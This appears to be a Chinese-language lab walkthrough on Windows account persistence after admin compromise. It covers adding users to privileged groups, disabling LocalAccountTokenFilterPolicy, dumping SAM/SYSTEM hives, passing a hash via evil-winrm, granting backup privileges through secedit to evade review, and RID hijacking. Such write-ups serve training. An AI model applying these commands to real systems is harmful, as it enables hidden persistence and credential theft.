假设已经获得一台主机的Administrator权限
提升一个非特权用户的权限:
1.以管理员账户输入命令提权。下面命令会将thmuser0添加至管理员组 C:\> net localgroup administrators thmuser0 /add
2.下面这条命令则是添加到备份操作员组,该组中的用户没有管理权限,但可以读取/写入系统上的任何文件或注册表项,忽略任何配置的DACL 。由于这是一个非特权帐户 ,因此它无法通过RDP 或 WinRM 返回计算机,除非我们将其添加到远程桌面用户 ( RDP ) 或远程管理用户 (WinRM) 组 C:\> net localgroup “Backup Operators” thmuser1 /add
WinRM(Windows Remote Management) 是一种远程管理协议,用于在Windows操作系统上进行远程管理和远程命令执行。它允许管理员通过网络远程管理和配置Windows操作系统,而无需物理接触到被管理的计算机。(evil-winrm 是一款用于在Windows系统上进行渗透测试和漏洞利用的命令行工具)
用户帐户控制 (UAC) 。 UAC 实现的功能之一是 LocalAccountTokenFilterPolicy ,它会在远程登录时剥夺任何本地帐户的管理权限。虽然可以通过 UAC 从图形用户会话提升权限(请阅读有关 UAC 的更多信息此处 ),但如果使用的是 WinRM,则将受限于没有管理权限的有限访问令牌。 可以通过禁用解决这个问题。 为了重新获得管理权限,通过将以下注册表项更改为 1 来禁用 LocalAccountTokenFilterPolicy
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
上图是攻击机操作的,是不行的,应该像下图先用管理员权限的shell来操作
重新建立连接,如下图,可以看到backup operator从group used for deny only 变成Mandatory group, Enabled by default, Enabled group了
由于当前用户已经加入了backup operator组,具有读取/写入系统上的任何文件或注册表项的权限。因此可以转储备份 SAM 和 SYSTEM 文件。:
1.reg save hklm\system system.bak 2.reg save hklm\sam sam.bak 3.download system.bak 4.download sam.bak
由于使Evil-WinRM工具已经处理过system和sam,可以通过脚本“secretsdump.py”来提取,输入命令:
python3 secretsdump.py-sam sam.bak -system system.bak LOCAL
输入下面命令
evil-winrm -i 10.10.204.212 -u Administrator -H f3118544a831e728781d780cfdb9c1fa //这里输入的是LM哈希值
由上图可见,运行完命令后就能直接以管理员权限登录了
接下来是其他方法
特殊权限和安全描述符 无需修改任何组成员身份即可获得与将用户添加到 Backup Operators 组类似的结果。
在获取到的shell输入下面命令
secedit /export /cfg config.inf //用于导出本地安全策略配置到一个名为config.inf的文件中。
在窗口或者别的方式打开这个文件,在:
SeBackupPrivilege: 用户可以读取系统中的任何文件,忽略任何DACL 。
SeRestorePrivilege: 用户可以写入系统中的任何文件,忽略任何DACL 。
的地方加上想要提高权限的用户名,如thmuser2。这俩权限是backup operator的特殊权限。
这一步相当于给thmuser2做类似上文以管理员身份将thmuser1添加到backup operator组获得特权,但此时不能远程连接,因此还需要 WinRM来调整
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf
下一步,调整 WinRM:
在可视化的窗口的powershell,输入
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI,如下图
要使该用户完全使用给定的权限,必须更改 LocalAccountTokenFilterPolicy 注册表项,参考上文输入的命令,否则不灵。
这是第二种办法,好处就是当别人审查一般用户组时,不会发现一个普通用户在一个特权组里的异常情况,起疑心的速度会慢一些。
下面是第三种。RID(Relative Identifier)劫持。是用于标识和管理安全主体的一种标识符。RID是在Windows安全模型中用于唯一标识用户、组和计算机账户的一部分。
无需成为管理员即可获得管理权限的另一种方法是更改某些注册表值,使操作系统认为您是管理员
创建用户时,会为其分配一个名为相对 ID (RID) 的标识符。 RID 只是代表系统中用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID,并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们就可以通过将相同的 RID 与两个帐户关联起来,让 Windows 为非特权用户分配管理员访问令牌。
在任何 Windows 系统中,默认管理员帐户都会分配RID = 500 ,普通用户通常拥有RID >= 1000
输入下面命令查看RID,RID 是 SID 的最后一位(thmuser3 为 1010,管理员为 500)
wmic useraccount get name,sid
如果将 RID=500 分配给 thmuser3,就能欺骗系统,让系统把令牌给thmuser3.使用 Regedit 访问 SAM。 SAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要以 SYSTEM 身份运行 Regedit,使用 psexec,在C:\tools\pstools
计算机中的每个用户都有一个密钥。由于我们要修改 thmuser3,因此需要搜索其 RID 为十六进制的密钥 (1010 = 0x3F2)。在对应的键下,会有一个名为F 的值,该值在0x30位置处保存了用户的有效RID:
用十六进制的管理员 RID 替换这两个字节 (500 = 0x01F4),并交换字节 (F401):
修改之后,在攻击机简单使用XFREERDP以thmuser3的账号密码登录,发现登录成功后会是administrator
以上三种方式:增加到组、修改配置文件、修改RID都成功简单持久化了一个普通账户,并使它具备一定的管理员权限(以管理员权限登录)